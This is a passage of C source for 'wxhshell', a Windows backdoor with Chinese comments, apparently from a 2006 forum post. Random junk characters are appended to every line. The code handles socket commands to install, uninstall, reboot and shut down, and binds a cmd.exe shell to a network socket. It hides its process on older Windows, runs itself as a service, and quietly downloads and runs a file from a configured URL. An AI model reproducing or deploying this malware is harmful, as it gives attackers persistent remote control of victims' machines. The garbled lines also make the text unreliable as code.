  case '?': { [}E='m}u9+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IL#"~D?  
    break; @k,#L`3^  
  } k8&;lgO '  
  // 安装 #wwH m3  
  case 'i': { X9W@&zQ  
    if(Install()) un mJbY;t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ )Iv^ U9  
    else -P$PAg5"2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8mvy\l EEH  
    break; O`IQ(,yef  
    }  MzdV2.  
  // 卸载 pZ.ecZe/  
  case 'r': { /$Nsd  
    if(Uninstall()) 5}l[>lF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JzQ_{J`k  
    else t6 "%3#s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vtg !8u4  
    break; |.: q  
    } tTl%oN8Qw  
  // 显示 wxhshell 所在路径 G:<aB  
  case 'p': { i &nSh ]KK  
    char svExeFile[MAX_PATH]; ,aZ[R27rpL  
    strcpy(svExeFile,"\n\r"); zZPO&akB"  
      strcat(svExeFile,ExeFile); s%7t"-=&  
        send(wsh,svExeFile,strlen(svExeFile),0); Uiw2oi&_  
    break; {BN#h[#B{  
    } :%=Xm   
  // 重启 ,q`\\d  
  case 'b': { #CTE-W"|HE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I3L<[-ZE  
    if(Boot(REBOOT)) 0*3R=7_},o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cA?W7D  
    else { e8a+2.!&\  
    closesocket(wsh); Mk 6(UXY  
    ExitThread(0); Di6?[(8  
    }  ?(1 y  
    break; W' VslZG  
    } \;B iq`  
  // 关机 q"lSZ; 'E  
  case 'd': { 1v2 7;Q<+Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >1Ibc=}g  
    if(Boot(SHUTDOWN)) _1\v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .W%)*&WH\  
    else { ?dg [:1R}  
    closesocket(wsh); cKI9#t_  
    ExitThread(0); jvL[ JI,b  
    } EI%89i`3^  
    break; rglXs  
    } 0v?"t OT!  
  // 获取shell :P~6~ K um  
  case 's': { kVMg 1I@  
    CmdShell(wsh); ;A'mB6?%H  
    closesocket(wsh); B~ GbF*j  
    ExitThread(0); +7.',@8_V  
    break; %5n_ p^xp  
  } kgP0x-Ap  
  // 退出 G9cUD[GB  
  case 'x': { 6A-|[(NS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]w8(&,PP  
    CloseIt(wsh); |u<7?)mp  
    break; ^jZbo {  
    } cdT7 @  
  // 离开 |/{=ww8|  
  case 'q': { }&J q}j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ##>H&,Dp[  
    closesocket(wsh); dR,fXQm  
    WSACleanup(); kdeWip6Y  
    exit(1); q>+k@>bk @  
    break; VY4yS*y  
        } ?N9uu4  
  } Z@!+v 19^  
  } ?0SJfh  
YNF k  
  // 提示信息 \_f(M|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]N?kG`[  
} m;QMQeGz  
  } igPX#$0XU  
rjYJs*#  
  return; !%c\N8<>GD  
} -FaJ^CN~  
e(t\g^X  
// shell模块句柄 3f{3NzN  
int CmdShell(SOCKET sock) zQd 2  
{ 1mG-}  
STARTUPINFO si; u^  ~W+  
ZeroMemory(&si,sizeof(si)); @\#td5'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _w +Qy.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HG^'I+Yn  
PROCESS_INFORMATION ProcessInfo; AoxA+.O  
char cmdline[]="cmd"; ~Mxvq9vaD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MQ8J<A Pf-  
  return 0;  2JBR)P  
} fNFY$:4X  
Lp9E:D->  
// 自身启动模式 S"H2 7  
int StartFromService(void) vEJbA  
{ %EB/b  
typedef struct cbTm'}R(G  
{ Gk6iIK  
  DWORD ExitStatus; >4CbwwMA  
  DWORD PebBaseAddress; S)@j6(HC4  
  DWORD AffinityMask; I; rGD^  
  DWORD BasePriority; N;`n@9BF  
  ULONG UniqueProcessId; 0</);g}  
  ULONG InheritedFromUniqueProcessId; 0o&5 ]lEe  
}   PROCESS_BASIC_INFORMATION; Qo|\-y-#  
6D3B^.r j]  
PROCNTQSIP NtQueryInformationProcess; 7@W>E;go  
p4Z(^+Aa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cw <l{A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f3y=Wxk[  
AA>P`C$&M  
  HANDLE             hProcess; |2A:eI8 ^  
  PROCESS_BASIC_INFORMATION pbi; [Y`W  
'LDQgC*%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7b+6%fV  
  if(NULL == hInst ) return 0; r5^eNg k  
d&>^&>?$zh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UJ2U1H54h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GTHt'[t@;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MF'JeM;H  
ftSW (og  
  if (!NtQueryInformationProcess) return 0; "#g}ve,  
wC'Szni  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J<lW<:!3]  
  if(!hProcess) return 0; (/$^uWj  
!5!<C,U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Dw"\/p:-3  
 Nz-&MS  
  CloseHandle(hProcess); h{qgEIk&  
eyxW 0}[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^<6[.)  
if(hProcess==NULL) return 0; m]&SNz=  
E{vbO/|kf  
HMODULE hMod; K (|}dl:  
char procName[255]; 4skD(au8  
unsigned long cbNeeded; .6J$,.Ig  
x?<FJ"8"k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FP>2C9:d  
N$tGQ@  
  CloseHandle(hProcess); 5mR 1@  
`d(ThP;g  
if(strstr(procName,"services")) return 1; // 以服务启动 yt2PU_),  
~VB1OLgv#.  
  return 0; // 注册表启动 CvdN"k  
} 2~2 O V  
T u'{&  
// 主模块 2Khv>#l  
int StartWxhshell(LPSTR lpCmdLine) 5lum$5  
{ s#GLJl\E_P  
  SOCKET wsl; n&!-9:0  
BOOL val=TRUE; #0<XNLM  
  int port=0; !n%j)`0M  
  struct sockaddr_in door; $pz/?>!  
eJX#@`K  
  if(wscfg.ws_autoins) Install(); 3(UVg!t  
jb)ZLA;L_c  
port=atoi(lpCmdLine); !`r$"}g  
v` r:=K  
if(port<=0) port=wscfg.ws_port; #LNED)Vg  
qJw_  
  WSADATA data; 2Z%O7V~u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  AOx[  
c*M} N?|6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fB,_9K5i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~QVH<`sn  
  door.sin_family = AF_INET; T^q 0'#/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W{aY}`  
  door.sin_port = htons(port); Z6m)tZVM  
BJ0?kX@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B7%U_F|m  
closesocket(wsl); bPMhfK2 %  
return 1; B/C,.?Or  
} nRY5xRvK  
J=yTbSN\v  
  if(listen(wsl,2) == INVALID_SOCKET) { Q@HV- (A  
closesocket(wsl); }~q5w{_n  
return 1; tnIX:6  
} {>;R?TG]$  
  Wxhshell(wsl); GKCroyor  
  WSACleanup(); <-0]i_4sK  
}1xo-mUg,  
return 0; O H7FkR  
\Og+c%  
} E)3NxmM#  
DL.!G  
// 以NT服务方式启动 -Qe Z#w|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /7LR;>Bj  
{ 'ig'cRD6N  
DWORD   status = 0; |&jXp%4T  
  DWORD   specificError = 0xfffffff; *$*ce|V5  
JN6B~ZNf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @|)Z"m7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zn(PI3+]!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~_ a-E  
  serviceStatus.dwWin32ExitCode     = 0; J-4:H gx  
  serviceStatus.dwServiceSpecificExitCode = 0; {^\r`V p  
  serviceStatus.dwCheckPoint       = 0; /Q )\+  
  serviceStatus.dwWaitHint       = 0; Np)lIGE  
(9h`3#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cGD(.=  
  if (hServiceStatusHandle==0) return; q,6DEz  
Xm 2'6f,  
status = GetLastError(); {_dvx*M  
  if (status!=NO_ERROR) '3H_wd  
{ 39jG8zr=Z[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %%wNZ{  
    serviceStatus.dwCheckPoint       = 0; V1JIht>Opo  
    serviceStatus.dwWaitHint       = 0; s9d_GhT%-  
    serviceStatus.dwWin32ExitCode     = status; 6aV_@no.C  
    serviceStatus.dwServiceSpecificExitCode = specificError; IIqUZJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~v"L!=~G;a  
    return;  Mc}^LDX  
  } 6`-jPR  
wvPk:1wD5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ic4H#w  
  serviceStatus.dwCheckPoint       = 0; 8sCv]|cn  
  serviceStatus.dwWaitHint       = 0; _-Fs# f8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s|ITsz0,td  
} A+)`ZTuO  
OUXR  
// 处理NT服务事件,比如:启动、停止 188*XCtjQ9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \^%}M!tan  
{ :,I:usW"  
switch(fdwControl) BF<ikilR  
{ ?pZOeqqu$  
case SERVICE_CONTROL_STOP: ]g&TKm  
  serviceStatus.dwWin32ExitCode = 0; GM<-&s!Uj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7\q~%lDE  
  serviceStatus.dwCheckPoint   = 0; 8&aq/4:q0  
  serviceStatus.dwWaitHint     = 0; \'bzt"f$j  
  { v}Fr@0%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0K2`-mL  
  } &`XVq" 7  
  return; pV"R|{#V  
case SERVICE_CONTROL_PAUSE: :08,JL{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '08=yqy4N  
  break; 8ITdSg  
case SERVICE_CONTROL_CONTINUE: _#h_:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _f:W?$\ho  
  break; 0_t`%l=  
case SERVICE_CONTROL_INTERROGATE: ZJ[ ??=Gz  
  break; Y.r+wc]  
}; xK\d4 "  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'X2POay1  
} \} :PLCKT  
d;}nh2*  
// 标准应用程序主函数 tC9n k5~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) igR";OQk  
{ 3jC_AO%T  
/RC7"QzL  
// 获取操作系统版本 eHDN\QA 2  
OsIsNt=GetOsVer(); /d<P-!fK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \)?HJ  
fsWTF<Y  
  // 从命令行安装 p"ZG%Ow5Q]  
  if(strpbrk(lpCmdLine,"iI")) Install(); v-_e)m^  
=zKM=qba  
  // 下载执行文件 %Qdn  
if(wscfg.ws_downexe) { q(2'\ _`u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8eHyL  
  WinExec(wscfg.ws_filenam,SW_HIDE); fDU!~/#  
} "5wa91*  
?oHpFlj  
if(!OsIsNt) { ` v@m-j6  
// 如果时win9x,隐藏进程并且设置为注册表启动 b 7?hI  
HideProc(); @7j AL-  
StartWxhshell(lpCmdLine); K}MK<2vU  
} @'!SN\?W8  
else I75DUJqy]  
  if(StartFromService()) W+ko q*P  
  // 以服务方式启动 J,y[[CdH`  
  StartServiceCtrlDispatcher(DispatchTable); l#Y,R 0  
else y ~!Zg}o  
  // 普通方式启动 O*)Vhw'pK  
  StartWxhshell(lpCmdLine); .MoU1n{Yc  
XBu"-(  
return 0; 54R#W:t  
}
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只看该作者 1 发表于: 2006-10-10
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